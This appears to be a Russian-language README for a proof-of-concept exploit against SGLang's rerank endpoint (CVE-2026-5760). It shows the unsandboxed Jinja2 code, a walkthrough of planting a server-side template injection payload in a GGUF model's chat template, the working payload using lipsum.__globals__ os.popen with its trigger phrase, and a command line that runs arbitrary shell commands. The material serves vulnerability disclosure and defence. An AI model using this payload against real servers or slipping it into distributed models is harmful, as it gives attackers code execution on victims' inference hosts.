SGLang SSTI to RCE PoC — Непесочный рендеринг chat-шаблонов Jinja2 (CVE-2026-5760)

Удаленное выполнение кода через Server-Side Template Injection (SSTI) в эндпоинте реранкинга SGLang. Вредоносный файл модели GGUF с подделанным tokenizer.chat_template обеспечивает произвольное выполнение кода при загрузке в SGLang и вызове эндпоинта /v1/rerank.

Возможности

Использование уязвимости критической степени серьезности в SGLang через непесочный рендеринг шаблонов Jinja2. Эндпоинт реранкинга SGLang (/v1/rerank) отображает предоставленные моделью chat-шаблоны с использованием jinja2.Environment() вместо ImmutableSandboxedEnvironment, что позволяет вредоносной модели выполнять произвольный код Python на сервере инференса.

Это тот же класс уязвимостей, что и CVE-2024-34359 («Llama Drama»), затронувший llama-cpp-python.

Пошаговое прохождение атаки

Злоумышленник создает файл модели GGUF с вредоносным tokenizer.chat_template, содержащим полезную нагрузку SSTI Jinja2
Шаблон включает триггерную фразу Qwen3 reranker для активации уязвимого пути кода в serving_rerank.py
Жертва загружает модель в SGLang (например, с HuggingFace)
При любом запросе к /v1/rerank SGLang читает chat_template и рендерит его с помощью jinja2.Environment() — без песочницы
Полезная нагрузка SSTI выполняет произвольный код Python на сервере

Уязвимый код

Файл: python/sglang/srt/entrypoints/openai/serving_rerank.py

# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
    return jinja2.Environment(           # <-- Should be ImmutableSandboxedEnvironment
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

Использование

PoC генерирует вредоносный файл GGUF и демонстрирует выполнение кода через непесочный путь рендеринга SGLang.

python3 exploit.py "id"

Передайте любую команду shell в качестве аргумента — по умолчанию используется id.

Полезная нагрузка SSTI

Вредоносный chat-шаблон, встроенный в файл GGUF:

MALICIOUS_TEMPLATE = (
    'The answer can only be "yes" or "no".\n'
    '{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
    '{% for message in messages %}{{ message["content"] }}{% endfor %}'
)

Триггерная фраза (The answer can only be "yes" or "no") необходима для активации детектора Qwen3 reranker в SGLang, направляющей запрос через уязвимый путь _render_jinja_chat_template().
lipsum.__globals__["os"].popen() выходит за пределы контекста Jinja2 для выполнения произвольных команд ОС.

Ссылки

CVE-2026-5760
CVE-2024-34359 — Тот же класс уязвимостей в llama-cpp-python
CVE-2025-61620 — DoS в vLLM через chat-шаблоны (та же поверхность атаки)
SGLang GitHub
CWE-1336: Некорректная нейтрализация специальных элементов, используемых в шаблонизаторе
CWE-94: Некорректный контроль генерации кода

Отказ от ответственности

Этот инструмент предназначен только для авторизованных исследований в области безопасности и образовательных целей. Используйте ответственно.

SGLang-0.5.9-RCE

Популярное